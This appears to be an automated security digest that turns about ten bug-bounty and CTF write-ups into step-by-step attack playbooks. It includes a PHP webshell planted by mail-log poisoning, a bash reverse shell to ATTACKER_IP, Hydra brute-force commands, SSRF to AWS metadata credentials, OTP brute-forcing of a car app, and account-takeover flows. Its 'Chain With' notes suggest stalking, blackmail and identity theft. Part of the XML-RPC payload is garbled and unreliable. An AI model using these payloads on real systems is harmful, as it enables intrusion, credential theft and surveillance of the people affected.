

ETX Signal-X

Daily Intelligence Digest

Friday, March 20, 2026

10

ARTICLES

25

TECHNIQUES

Hacking My Car, and probably yours— Security Flaws in Volkswagen's App

Source: securitycipher

Date: 17-May-2025

URL: <https://loopsec.medium.com/hacking-my-car-and-probably-yours-security-flaws-in-volkswagens-app-24b34c47ba89>

T1 OTP Brute-Force for Account Takeover (No Rate Limiting/Lockout)

Payload

```
POST /<REDACTED> HTTP/1.1
Host: <REDACTED>
Accept: */*
Content-Type: application/json
Authorization: <REDACTED>

{
  "brand": "VW",
  "installationID": <REDACTED>,
  "userID": <REDACTED>,
  "vehicleID": <REDACTED>,
  "otp": "5555"
}
```

Attack Chain

- 1 Install the My Volkswagen app and initiate the add-vehicle workflow, providing a target VIN.
- 2 Observe OTP verification requests in Burp Suite (or proxy).
- 3 Extract the API endpoint, headers, and request body for OTP submission.
- 4 Use a Python script to concurrently brute-force all 4-digit OTPs (0000–9999) with up to 100 threads.
- 5 On successful OTP, gain full access to the vehicle account and data.

Discovery

Repeated manual OTP attempts revealed no lockout or rate limiting. Proxying mobile traffic exposed the exact API request for OTP verification, enabling automation.

Bypass

No rate limiting, no lockout, and no IP block on repeated OTP attempts. The only required input is the VIN (publicly visible on the car), making brute-force trivial.

Chain With

Combine with data-leak endpoints (see below) for full owner PII and telematics compromise. Use access to modify vehicle controls, geofencing, or track owner movements.

T2

Internal Credentials Disclosure via Unprotected API Endpoint

Payload

```
GET /<REDACTED_INTERNAL_CREDENTIALS_ENDPOINT> HTTP/1.1
Host: <REDACTED>
Accept: */*
Authorization: <REDACTED>
```

Attack Chain

- 1 Proxy mobile app traffic and enumerate API endpoints.
- 2 Identify endpoint leaking internal credentials in plaintext.
- 3 Issue GET request to endpoint with valid (or default) Authorization header.
- 4 Extract credentials for lateral movement or further exploitation (e.g., access to payment or CRM systems).

Discovery

Manual inspection of API traffic in Burp Suite revealed endpoints returning sensitive configuration and credential data in cleartext.

Bypass

No authentication or access control enforced on the endpoint, or weak token reuse.

Chain With

Use internal credentials for pivoting to backend infrastructure, payment systems, or Salesforce. Potential for supply chain compromise or privilege escalation.

T3

Full Owner PII/Service Contract Enumeration via VIN-Based API

Payload

```
POST /<REDACTED_SERVICE_PACKAGES_ENDPOINT> HTTP/1.1
Host: <REDACTED>
Accept: */*
Content-Type: application/json
Authorization: <REDACTED>

{
  "vin": "<TARGET_VIN>"
}
```

Attack Chain

- 1 Obtain VIN (publicly visible on vehicle).
- 2 Send POST request with VIN to service package endpoint.
- 3 Receive full dump of all service/maintenance contracts and associated owner PII.

Discovery

Reviewing API calls in Burp Suite revealed endpoints that returned all owner/service contract data for any supplied VIN.

Bypass

No authentication or authorization required beyond knowledge of VIN.

Chain With

Use PII for social engineering, phishing, or identity theft. Combine with OTP brute-force for seamless account takeover and impersonation.

T4

Vehicle Service History and Customer Data Exposure via VIN-Based API

Payload

```
POST /<REDACTED_SERVICE_HISTORY_ENDPOINT> HTTP/1.1
Host: <REDACTED>
Accept: */*
Content-Type: application/json
Authorization: <REDACTED>

{
  "vin": "<TARGET_VIN>"
}
```

Attack Chain

- 1 Obtain target VIN.
- 2 Send POST request to service history endpoint with VIN.
- 3 Receive full service history, customer feedback, and sensitive owner data.

Discovery

API enumeration and inspection of mobile app traffic revealed endpoints leaking all historical service and customer data for any VIN.

Bypass

No access control; VIN is the only required parameter.

Chain With

Aggregate with other PII leaks for comprehensive owner profiling. Use for targeted scams, extortion, or physical tracking.

T5

Telematics and Extended PII Exposure via VIN/UserID-Based API

Payload

```
POST /<REDACTED_TELEMATICS_ENDPOINT> HTTP/1.1
Host: <REDACTED>
Accept: */*
Content-Type: application/json
Authorization: <REDACTED>

{
  "vin": "<TARGET_VIN>"
}
```

Attack Chain

- 1 Supply VIN (and/or userID if required) to telematics/user info endpoint.
- 2 Receive full dump of telematics and extended personal data for the vehicle owner.

Discovery

Further API enumeration after initial findings revealed endpoints returning all telematics and extended PII for any VIN.

Bypass

VIN-only access, no authentication or authorization enforced.

Chain With

Combine with account takeover for real-time tracking, geo-fencing, and full vehicle control. Use for high-impact privacy violations, stalking, or blackmail.

XML-RPC Open, phpinfo() Public — But They Came to Hire from My College

Source: securitycipher

Date: 15-Jun-2025

URL: <https://aiwolfie.medium.com/xml-rpc-open-phpinfo-public-but-they-came-to-hire-from-my-college-975acdc04f8c>

T1 Unrestricted XML-RPC Method Enumeration and Brute-Force

Payload

```
curl -X POST https://<redacted>/xmlrpc.php \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'<redacted> redacted<?xml version="1.0"?>"1.0"<methodCall> methodCall<methodName> methodName</methodName> methodName<params> params</params> params</methodCall> methodCall
```

Attack Chain

- 1 Send a POST request to /xmlrpc.php with the system.listMethods XML payload to enumerate all available XML-RPC methods.
- 2 Identify sensitive methods such as metaWeblog.getUsersBlogs, wp.uploadFile, wp.newPost, wp.deletePost, and pingback.ping.
- 3 Use the following payload to brute-force credentials via metaWeblog.getUsersBlogs (no rate limit, no WAF, no CAPTCHA):
- 4 0"?><methodCall> <methodName>metaWeblog.getUsersBlogs</methodName> <params> <param><value><string>admin</string></value></param> <param><value><string>wrongpassword</string></value></param> </params></methodCall>'<redacted> redacted<?xml version="1.0"?>"1.0"<methodCall> methodCall<methodName> methodName</methodName> methodName<params> params<param> param<value> value<string> string</string> string</value> value</param> param<param> param<value> value<string> string</string> string</value> value</param> param</params> params</methodCall> methodCall

Discovery

Reconnaissance scan identified open /xmlrpc.php endpoint. Initial test payload returned a welcome message, indicating XML-RPC was enabled and responding. Enumeration with system.listMethods revealed a large set of enabled methods.

Bypass

No brute-force protections (rate limit, WAF, CAPTCHA) present. The endpoint silently validates credentials, allowing unlimited brute-force attempts.

Chain With

Use pingback.ping for SSRF or DDoS attacks. Use wp.uploadFile, wp.newPost, wp.deletePost for content or file manipulation if credentials are brute-forced.

T2 Public Directory Listing on /wp-content/uploads/

Payload

```
GET https://<redacted>/wp-content/uploads/
```

Attack Chain

- 1 Browse directly to /wp-content/uploads/.
- 2 Observe directory listing enabled, exposing all uploaded files (PDFs, images, resumes, etc.).

Discovery

Manual browsing and directory enumeration revealed open directory listing.

Bypass

No authentication or directory listing restriction in place.

Chain With

Download sensitive files for information disclosure. Use exposed files for phishing or further attacks.

T3 Unrestricted phpinfo() Disclosure via /test.php

Payload

```
GET https://<redacted>///test.php///
```

Attack Chain

- 1 Access /test.php (with or without extra slashes) directly via browser or HTTP client.
- 2 Full PHP configuration (phpinfo) is dumped, including loaded extensions, server paths, and environmental variables.

Discovery

Recon and manual endpoint fuzzing revealed publicly accessible /test.php returning phpinfo() output.

Bypass

No access control or removal of test/debug files from production.

Chain With

Use environment variables and server paths for privilege escalation, LFI, or RCE chaining. Identify loaded PHP extensions for targeted exploitation.

Full Guide: From LFI to RCE via /var/log/mail.log

Source: securitycipher

Date: 03-Aug-2025

URL: <https://medium.com/@zoningxtr/full-guide-from-lfi-to-rce-via-var-log-mail-log-%EF%B8%8F-%EF%B8%8F-54b9686def62>

LFI to RCE via /var/log/mail.log Poisoning (Mail Header Injection)

Payload

```
EHLO attacker.com
MAIL FROM: <<?php system($_GET['cmd']); ?>>
RCPT TO: victim@target.site
DATA
Subject: harmless
hello.
QUIT
```

Attack Chain

- 1 Identify an LFI endpoint, e.g., `index.php?page=...`.
- 2 Connect to the target's mail server (port 25) via telnet or netcat.
- 3 Inject PHP code into the `MAIL FROM` header as shown in the payload.
- 4 Complete the SMTP transaction so the payload is written to `/var/log/mail.log`.
- 5 Trigger inclusion of the poisoned log via LFI: `http://target.site/index.php?page=../../../../var/log/mail.log&cmd=id`.
- 6 Observe command execution in the HTTP response.

Discovery

Manual review of LFI endpoints and knowledge that mail logs record unfiltered SMTP headers. Enumeration of log file paths and testing for code execution after header injection.

Bypass

If `MAIL FROM` is sanitized, try other headers (e.g., `Subject`, `HELO`). If log file path is not `/var/log/mail.log`, enumerate alternative log files (e.g., `/var/log/maillog`).

Chain With

Combine with privilege escalation (if web user can write to other sensitive files), or pivot to reverse shell payloads (see below).

T2 LFI to RCE via Webmail/Contact Form (PHP mail() Header Injection)

Payload

```
mail("victim@example.com", "Subject", "Body", "From: <?php system($_GET['cmd']); ?>");
```

Attack Chain

- 1 Locate a webmail/contact form that uses PHP's `mail()` function to send emails.
- 2 Inject PHP code into the `From` field (or other headers if possible) using the payload above.
- 3 The mail server logs the header to `/var/log/mail.log`.
- 4 Use the LFI endpoint to include the poisoned log: `http://target.site/index.php?page=../../../../var/log/mail.log&cmd=id`.
- 5 Achieve command execution.

Discovery

Testing web forms that send email for header injection. Confirming log poisoning by viewing `/var/log/mail.log` via LFI.

Bypass

If `From` is filtered, try `Subject` or other headers. If mail logs are not accessible, enumerate other log files.

Chain With

Can chain with SSRF or CSRF if the mail form is not authenticated. Use as a step for persistent access (webshell, reverse shell).

T3 LFI to RCE via HELO Header Injection (SMTP)

Payload

```
HELO <?php system($_GET['cmd']); ?>
MAIL FROM: attacker@evil.com
RCPT TO: victim@target.site
DATA
Subject: Injected
Test.
QUIT
```

Attack Chain

- 1 Connect to the mail server (port 25) using netcat or telnet.
- 2 Inject PHP code into the `HELO` command as shown above.
- 3 Complete the SMTP transaction to ensure the payload is logged.
- 4 Use the LFI endpoint to include `/var/log/mail.log` or `/var/log/maillog`.
- 5 Trigger code execution by passing a `cmd` parameter.

Discovery

Testing all SMTP headers for code injection. Confirming log poisoning by viewing the log via LFI.

Bypass

If `HELO` is filtered, rotate to other headers (`MAIL FROM`, `Subject`).

Chain With

Pivot to reverse shell or lateral movement after initial RCE.

T4 LFI to Reverse Shell via Poisoned Mail Log

Payload

```
http://target.site/index.php?page=../../../../var/log/mail.log&cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
```

Attack Chain

- 1 Poison `/var/log/mail.log` with a PHP webshell as in previous techniques.
- 2 Start a listener on the attacker's machine: ``nc -lvp 4444``.
- 3 Trigger the reverse shell by including the log file via LFI and passing the reverse shell command as the ``cmd`` parameter.
- 4 Catch the shell on the attacker's listener.

Discovery

After confirming RCE via LFI+log poisoning, escalate to interactive shell using standard reverse shell payloads.

Bypass

If outbound connections are blocked, try DNS exfiltration or alternative reverse shell payloads.

Chain With

Full shell access enables privilege escalation, credential extraction, and lateral movement.

CTF | Brute Force Login Cuma Modal Terminal Gak Perlu UI!

Source: securitycipher

Date: 16-May-2025

URL: <https://inrexna.medium.com/ctf-brute-force-login-cuma-modal-terminal-gak-perlu-ui-ddd455c4bf66>

T1 Brute Forcing Web Login via Hydra with Custom Failure String

Payload

```
hydra -L user.txt -P wordlist.txt 172.17.2.195 http-post-form "[:username=^USER^&password=^PASS^:Login gagal!"
```

Attack Chain

- 1 Identify that the login form is at the root path ("/") and uses POST with fields "username" and "password".
- 2 Use curl to submit an invalid login and observe the failure response string ("Login gagal!").
- 3 Prepare username and password wordlists (user.txt, wordlist.txt).
- 4 Run hydra with the http-post-form module, specifying the form data format and the failure string to detect unsuccessful attempts.
- 5 Extract valid credentials from hydra output.

Discovery

Manual inspection of the web server using curl to enumerate the login path, form fields, and failure response string. The use of terminal-only tools was triggered by CTF constraints (no UI access).

Bypass

By specifying a custom failure string ("Login gagal!"), the brute force tool avoids false positives and adapts to non-English or custom error messages.

Chain With

Use valid credentials for privilege escalation or lateral movement if reused across services (e.g., SSH, admin panels). Combine with session fixation or CSRF if the login endpoint lacks further protections.

T2 Validating Login Failure Response via Terminal to Enable Automated Brute Force

Payload

```
curl -X POST -d "username=admin&password=salah" http://172.17.2.195 -i
```

Attack Chain

- 1 Submit a POST request with known-invalid credentials to the login endpoint using curl.
- 2 Analyze the HTTP response body for a unique failure string ("Login gagal!").
- 3 Use this string as a detection marker for brute force automation tools.

Discovery

Terminal-based manual probing of the login endpoint to determine the application's response to failed logins, required due to lack of UI access.

Bypass

No bypass; technique is foundational for enabling automation when UI is inaccessible.

Chain With

Enables precise brute force automation by eliminating guesswork around failure detection. Can be adapted for other endpoints with custom error messages or localization.

T3 Brute Forcing SSH Logins with Hydra and Custom Wordlists

Payload

```
hydra -L user.txt -P wordlist.txt -s 22 ssh://172.17.2.195
```

Attack Chain

- 1 Use nmap to enumerate open ports and identify SSH (port 22) as available.
- 2 Prepare username and password wordlists (user.txt, wordlist.txt).
- 3 Run hydra with the SSH module, targeting the discovered SSH service.
- 4 Analyze hydra output for valid credential pairs.

Discovery

Standard port scanning (nmap) followed by brute force attempt using hydra with provided wordlists.

Bypass

No bypass; direct brute force. Could be chained with username enumeration if SSH error messages differ for valid/invalid users.

Chain With

If credentials are valid, can be used for direct shell access, pivoting, or further post-exploitation. If web and SSH share credentials, compromise of one may lead to compromise of the other.

How I Got a \$250 Premium Plan for Just \$12—No Coupons, No Hacks, Just Logic

Source: securitycipher

Date: 23-Jul-2025

URL: <https://zuksh.medium.com/how-i-got-a-250-premium-plan-for-just-12-no-coupons-no-hacks-just-logic-b271c4de74e6>

T1

Checkout Price Manipulation via priceId Parameter Tampering

Payload

```
{ "products": [ {"priceId": "vpn-basic-12", "quantity": 1} ], "coupons": [] } { "products": [{"priceId": "vpn-basic-12", "quantity": 1}], "coupons": [] }
```

Attack Chain

- 1 Log in as a regular user and add a high-value product (e.g., \$250 premium VPN plan) to the cart.
- 2 Proceed to checkout and intercept the outgoing request using Burp Suite or a similar proxy.
- 3 Identify the JSON payload containing the `products` array with `priceId` values (e.g., `vpn-250-plan`).
- 4 Replace the expensive product's `priceId` (e.g., `vpn-250-plan`) with a cheaper valid `priceId` (e.g., `vpn-basic-12`).
- 5 Forward the modified request to the server.
- 6 Complete the checkout process and observe that the account is provisioned with the premium plan at the lower price.

Discovery

Noticed that the client request only contained `priceId` values and no actual prices. Hypothesized that the server might trust the client-provided `priceId` without validating it against the intended product purchase.

Bypass

No authentication or coupon codes required. The server failed to enforce server-side validation of product/price mapping, allowing arbitrary substitution of cheaper `priceId` values for more expensive products.

Chain With

Can be chained with account creation/ATO for mass abuse (e.g., provisioning multiple premium accounts at low cost). Potential to combine with coupon or referral logic flaws for further cost reduction or abuse. If the `priceId` parameter is guessable or enumerable, could be used to enumerate all available plans and select the cheapest for any premium feature.

Duplicate CSRF... Leads to \$\$\$\$

Source: securitycipher

Date: 12-Dec-2023

URL: <https://shellbreaker.medium.com/duplicate-csrf-leads-to-26c1ddc71dc5>

T1 Self-XSS Chained to Account Takeover via Password-less Email Change

Payload

[No raw payload string provided, but context indicates a crafted JavaScript payload triggering a pop-up/self-XSS in the user settings page.]

Attack Chain

- 1 Navigate to the user settings dashboard, which leaks previous location data in the URL.
- 2 Inject JavaScript payload into a parameter or input field in the user settings page (exact parameter not specified, but context is a reflected/self-XSS vector).
- 3 Trigger the payload to execute in the victim's browser (self-XSS, possibly via social engineering or user interaction).
- 4 Leverage the self-XSS to perform actions on behalf of the victim, specifically exploiting the password-less email change feature.
- 5 Change the victim's email address, leading to account takeover.

Discovery

Initial curiosity about URL parameters in the user settings page led to code injection attempts. After failed initial attempts, a different injection vector was tried, resulting in a pop-up (self-XSS). Further brainstorming revealed the possibility to chain this with the password-less email change for account takeover.

Bypass

XSS was used to bypass CSRF protections, as the application considered the self-XSS as a duplicate CSRF bug. The XSS allowed direct execution of privileged actions regardless of CSRF tokens.

Chain With

Any privileged action available in the user settings dashboard can be automated via XSS (e.g., changing profile data, enabling 2FA, etc.). Can be chained with other session-based vulnerabilities (e.g., session fixation) for persistent compromise.

T2 XSS as a CSRF Bypass Primitive

Payload

[No explicit payload string provided, but the technique is to use XSS to execute CSRF-protected actions directly in the victim's context.]

Attack Chain

- 1 Identify a self-XSS or reflected XSS vector in an authenticated area (user settings dashboard).
- 2 Use the XSS to craft and execute JavaScript that submits requests to CSRF-protected endpoints (e.g., email change endpoint).
- 3 The XSS executes in the context of the authenticated user, bypassing CSRF token checks.

Discovery

After initial report was marked as duplicate CSRF, realization (prompted by peer review) that XSS can be used to bypass CSRF protections, leading to re-submission and higher severity.

Bypass

XSS payload executes privileged actions directly, rendering CSRF tokens and protections moot, as the actions are performed in the user's session context.

Chain With

Use XSS to automate multi-step account takeover or privilege escalation flows. Combine with open redirect or clickjacking to increase exploit reliability.

Untitled

Source:

Date:

URL:

T1 SSRF via Cloudflare Image Resizing Service

Payload

```
GET /cdn-cgi/image/width=800,quality=80,format=auto/https://internal.redacted.corp/admin HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: https://target.com/profile
Connection: close
```

Attack Chain

- 1 Identify a feature accepting user-supplied image URLs, which are fetched and processed via Cloudflare's image resizing service (e.g., /cdn-cgi/image/...).
- 2 Replace the image URL parameter with an internal endpoint (e.g., https://internal.redacted.corp/admin).
- 3 Submit the request and observe the response for internal content leakage or behavioral differences indicating SSRF.

Discovery

While reviewing image upload/profile update functionality, noticed image URLs were rewritten to pass through /cdn-cgi/image/ endpoints, indicating Cloudflare image proxy usage. Hypothesized that the proxy would fetch arbitrary URLs, including internal endpoints.

Bypass

Cloudflare's image proxy does not enforce strict allowlists or block internal IPs/hostnames by default, allowing SSRF to internal services if the target does not validate input URLs.

Chain With

Use SSRF to enumerate internal admin panels, metadata endpoints, or cloud instance data (e.g., AWS metadata service). Chain with credential leakage or further privilege escalation if sensitive endpoints are accessible.

T2

SSRF to AWS Metadata Service via Cloudflare Image Proxy

Payload

```
GET /cdn-cgi/image/width=800,quality=80,format=auto/http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: https://target.com/profile
Connection: close
```

Attack Chain

- 1 Use the same image upload/profile update feature leveraging Cloudflare's image proxy.
- 2 Supply the AWS metadata service IP (169.254.169.254) as the image URL.
- 3 Submit the request and analyze the response for AWS credentials or metadata in the image response body.

Discovery

After confirming SSRF via arbitrary internal URLs, attempted to target the AWS metadata endpoint, a common SSRF target in cloud environments.

Bypass

Cloudflare's proxy does not block requests to 169.254.169.254, enabling access to cloud instance metadata via SSRF.

Chain With

Use obtained AWS credentials to escalate privileges, pivot into the cloud environment, or access sensitive resources.

How I earned \$500 bounty for privilege escalation vulnerability !!

Source: securitycipher

Date: 04-Jul-2024

URL: <https://kumarmohank889.medium.com/how-i-earned-500-bounty-for-privilege-escalation-vulnerability-c42977abcc52>

T1 User Creation via Edit Endpoint ID Manipulation

Payload

```
GET /company/users/edit/0 HTTP/1.1
Host: redacted.com
Cookie: [auth_cookie_for_low_priv_user]

[Fill out form fields: Name, Email, Role (e.g., Administrator), etc.]
[Click SAVE]
```

Attack Chain

- 1 Log in as a low-privileged user with only "View Users" and "Edit Users" permissions (no user creation rights).
- 2 Navigate to /company/users to list all users.
- 3 Click to edit any user, e.g., /company/users/edit/2.
- 4 Manually change the URL to /company/users/edit/0.
- 5 The application presents an empty user profile form.
- 6 Fill in the details (Name, Email, assign high-privilege Role such as Administrator).
- 7 Click SAVE to submit the form.
- 8 A new user is created with the specified details and role, and an invite is sent to the email.
- 9 Accept the invite as the new user and log in with elevated privileges (e.g., Administrator).

Discovery

Manual exploration of the user management interface; after deleting a user, the researcher tested direct access to /company/users/edit/<id> with various id values, including 0, and observed unexpected behavior (empty profile form and successful user creation).

Bypass

The endpoint intended for editing existing users fails to validate the id parameter properly. Supplying id=0 triggers the creation logic instead of edit logic, bypassing the intended access control (ACL) checks that restrict user creation to higher-privileged roles.

Chain With

Can be chained with lateral movement: create multiple admin users for persistence. Potential for privilege escalation from any role with edit rights, even if user creation is restricted. May enable full organization takeover if the created user is assigned the highest available role.

T2

Accessing Deleted User Profiles via Direct ID Reference

Payload

```
GET /company/users/edit/2 HTTP/1.1
Host: redacted.com
Cookie: [auth_cookie_for_admin]
```

Attack Chain

- 1 As an admin, invite a user (user2) and note their user id (e.g., 2).
- 2 Delete user2 from the system.
- 3 Attempt to access /company/users/edit/2 directly after deletion.
- 4 Observe that the deleted user's profile is still accessible and editable via direct URL access.

Discovery

After deleting users, the researcher tested direct access to their edit endpoints using known id values and found that the application did not properly restrict access to deleted user profiles.

Bypass

Lack of proper deletion or access control checks on user edit endpoints allows access to logically deleted accounts, which could be leveraged for information disclosure, ghost user reactivation, or further privilege escalation depending on backend logic.

Chain With

May enable reactivation or manipulation of deleted accounts if the backend does not enforce hard deletion. Can be combined with other IDOR or ACL bypasses for deeper account or data access.

Account TakeOver | Abusing the Application logic flaw in the reset password functionality

Source: securitycipher

Date: 04-Jan-2025

URL: <https://wanderication.medium.com/account-takeover-abusing-the-application-logic-flaw-in-the-reset-password-functionality-1b0a92caafca>

T1 Account Takeover via User ID Swapping in Password Reset Endpoint

Payload

```
POST /reset-password/12716/<valid-reset-token>
Content-Type: application/x-www-form-urlencoded

new_password=SuperSecret123!
```

Attack Chain

- 1 Register a new account to obtain a valid user ID and initiate a password reset for this account.
- 2 Capture the password reset link (e.g., `/reset-password/12716/<token>`) sent to your email.
- 3 Replace the user ID (`12716`) in the reset link with the user ID of any other user who has also initiated a password reset (e.g., `/reset-password/13337/<token>`), but keep the original valid token.
- 4 Submit the password reset request with the new user ID and your valid token.
- 5 If the target user has an active password reset session, their password is reset to your chosen value, resulting in account takeover.

Discovery

Noticed the user ID was present in the password reset endpoint. Attempted to swap user IDs while keeping the reset token unchanged. Successful reset for other users confirmed the logic flaw.

Bypass

The application only validated the presence of a valid token, not whether the token matched the user ID. This allowed cross-user resets if the target had an active reset session.

Chain With

Mass account takeover by enumerating user IDs and automating password reset requests for multiple users. Combine with OSINT or leaks to target high-value accounts. Potential for privilege escalation if admin accounts are targeted.

T2

Mass Account Takeover via Non-Expiring Password Reset Tokens

Payload

```
POST /reset-password/<user_id>/<stale-or-old-token>  
Content-Type: application/x-www-form-urlencoded  
  
new_password=AnotherSecret123!
```

Attack Chain

- 1 Identify that password reset tokens do not expire or are not deleted after use.
- 2 Collect or brute-force valid user IDs and initiate password resets for them (or wait for users to do so).
- 3 Use any previously obtained or intercepted valid token to reset passwords for users at any time, as tokens remain valid indefinitely.

Discovery

Observed that tokens did not expire after use or time, and were reusable for password resets. Confirmed by repeated successful resets using old tokens.

Bypass

Lack of token expiration or invalidation allows indefinite reuse for account takeover.

Chain With

Combine with user ID enumeration for large-scale account compromise. Use in conjunction with phishing or credential stuffing to trigger resets and harvest tokens.

Authentication bypass via sequential user IDs in Microsoft SSO integration | Critical Vulnerability

Source: securitycipher

Date: 29-Sep-2025

URL: <https://irsyadsec.medium.com/authentication-bypass-via-sequential-user-ids-in-microsoft-sso-integration-critical-vulnerability-d5f498ccdae7>

T1 Authentication Bypass via Sequential user_id Parameter in Microsoft SSO Integration

Payload

```
POST /api/login/sso HTTP/1.1
Host: target.example.com
Content-Type: application/json

{
  "user_id": "2"
}
```

Attack Chain

- 1 Authenticate to the target application using Microsoft SSO (trigger the normal SSO login flow).
- 2 Intercept the request sent to the backend endpoint handling SSO authentication (e.g., `/api/login/sso`).
- 3 Identify a `user\_id` parameter in the request body or URL (e.g., `{ "user\_id": "1" }`).
- 4 Modify the `user\_id` value to another sequential or known value (e.g., change `1` to `2`).
- 5 Forward the modified request to the server.
- 6 Observe that the session is now authenticated as the user with the specified `user\_id`, bypassing SSO identity validation.

Discovery

Manual inspection of SSO authentication requests in a proxy (Burp Suite) revealed a `user\_id` parameter that was client-controlled and not validated server-side. The researcher tested incrementing the value to see if access control was enforced, leading to full account compromise.

Bypass

The backend trusted the client-supplied `user\_id` instead of validating the identity assertion from Microsoft SSO. Changing the `user\_id` to any valid value allowed authentication as any user, regardless of SSO session or token.

Chain With

Combine with IDOR enumeration to mass compromise accounts (sequential user IDs). Use for privilege escalation if admin user IDs are known or guessable. Potential for lateral movement, data exfiltration, or business logic abuse due to full account takeover.

Automated with ❤️ by ethicxhuman